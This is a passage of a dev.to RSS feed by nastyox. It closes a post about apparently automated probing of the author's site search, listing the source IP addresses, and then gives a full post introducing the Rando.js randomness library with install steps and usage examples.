&lt;p&gt;I timestamp every search that goes into my searchbar. Every single one of these six searches were executed within a timespan of &lt;b&gt;30 seconds&lt;/b&gt; (from 6:36:32 AM through 6:36:59 AM). That means this person has this whole process automated. He goes from site to site, poking around to find any holes that he can exploit, and when he finds one, he knows plenty of ways to take advantage and get what he wants. And he does it all through VPN connections that don't trace back to him. If you're interested, here are the IPs he used:&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;82.150.140.160 (not blacklisted, in Amsterdam, Netherlands)&lt;/li&gt;
    &lt;li&gt;79.170.40.224 (blacklisted, in London, UK)&lt;/li&gt;
    &lt;li&gt;79.170.40.225 (heavily blacklisted, in London, UK)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please use this as an opportunity to learn and take caution with your development. Not everyone plays by the rules.&lt;/p&gt;

&lt;p&gt;--&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/nastyox1"&gt;nastyox&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>programming</category>
    </item>
    <item>
      <title>Rando.js: replacing Math.random()</title>
      <dc:creator>nastyox</dc:creator>
      <pubDate>Sun, 08 Mar 2020 04:43:48 +0000</pubDate>
      <link>https://dev.to/nastyox1/rando-js-simple-readable-randomness-3dc5</link>
      <guid>https://dev.to/nastyox1/rando-js-simple-readable-randomness-3dc5</guid>
      <description>&lt;h2&gt;
  
  
  🙉  What's all the hullabaloo?
&lt;/h2&gt;

&lt;p&gt;There's now a vastly better alternative to JavaScript's built-in Math.random() that will make your life easier. &lt;a href="https://github.com/nastyox/Rando.js"&gt;Rando.js&lt;/a&gt; helps JavaScript developers code randomness more simply, readably, and securely. Whether you need to find a random int/float between two numbers, pick a random value from an array, choose a random element from your jQuery object, grab a character from a string, toss a coin, or do anything of the like while even preventing repetitions, we've got you covered at a cryptographically strong level. The best part? Our library is extremely lightweight and developer friendly- which means it won't take a toll on your project, and it's uber-simple to implement. Find it &lt;a href="https://randojs.com"&gt;online&lt;/a&gt; and on &lt;a href="https://github.com/nastyox/Rando.js"&gt;GitHub&lt;/a&gt;.  &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;br&gt;⚡  Fast implementation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Paste the following script tag into the head of your HTML document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://randojs.com/2.0.0.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or, use npm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;//Install:&lt;/span&gt;
&lt;span class="nx"&gt;npm&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;nastyox&lt;/span&gt;&lt;span class="sr"&gt;/rando.js@2.0.&lt;/span&gt;&lt;span class="err"&gt;0
&lt;/span&gt;
&lt;span class="c1"&gt;//Then, paste this at the top of your JavaScript file:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;randojs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@nastyox/rando.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;rando&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;randojs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;randoSequence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;randojs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Use any of the commands explained at &lt;a href="https://randojs.com"&gt;https://randojs.com/&lt;/a&gt; in the document's JavaScript as you like.  &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;br&gt;🎉  Examples
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                       &lt;span class="c1"&gt;//a floating-point number between 0 and 1 (could be exactly 0, but never exactly 1)  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;//an integer between 0 and 5 (could be 0 or 5)  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                  &lt;span class="c1"&gt;//a random integer between 5 and 10 (could be 5 or 10)  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;float&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="c1"&gt;//a floating-point number between 0 and 5 (could be exactly 0, but never exactly 5)  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;float&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;//a floating-point number between 5 and 10 (could be exactly 5, but never exactly 10)  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;//either true or false  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;             &lt;span class="c1"&gt;//{index:..., value:...} object representing a value of the provided array OR false if array is empty  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;           &lt;span class="c1"&gt;//{key:..., value:...} object representing a property of the provided object OR false if object has no properties  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;               &lt;span class="c1"&gt;//{index:..., value:...} object representing a jQuery element from the provided jQuery element set OR false if the provided jQuery element set does not contain any elements  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Gee willikers!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;       &lt;span class="c1"&gt;//a character from the provided string OR false if the string is empty. Reoccurring characters will naturally form a more likely return value  &lt;/span&gt;
   &lt;span class="nx"&gt;rando&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                   &lt;span class="c1"&gt;//ANY invalid arguments return false  &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ⇢ Prevent repetitions by grabbing a sequence and looping through it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;//an array of integers from 0 through 5 in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;//an array of integers from 5 through 10 in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;b&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;     &lt;span class="c1"&gt;//an array of {index:..., value:...} objects representing the values of the provided array in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;   &lt;span class="c1"&gt;//an array of {key:..., value:...} objects representing the properties of the provided object in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;//an array of {index:..., value:...} objects representing all jQuery elements from the provided jQuery element set in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Good gravy!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;//an array of the characters of the provided string in random order  &lt;/span&gt;
   &lt;span class="nx"&gt;randoSequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;//ANY invalid arguments return false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;br&gt;If you find this project helpful, please take a second to bookmark the &lt;a href="https://randojs.com"&gt;website&lt;/a&gt;/&lt;b&gt;leave it a star on &lt;a href="https://github.com/nastyox/Rando.js"&gt;GitHub&lt;/a&gt;&lt;/b&gt;. Thanks everyone.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>frameworks</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
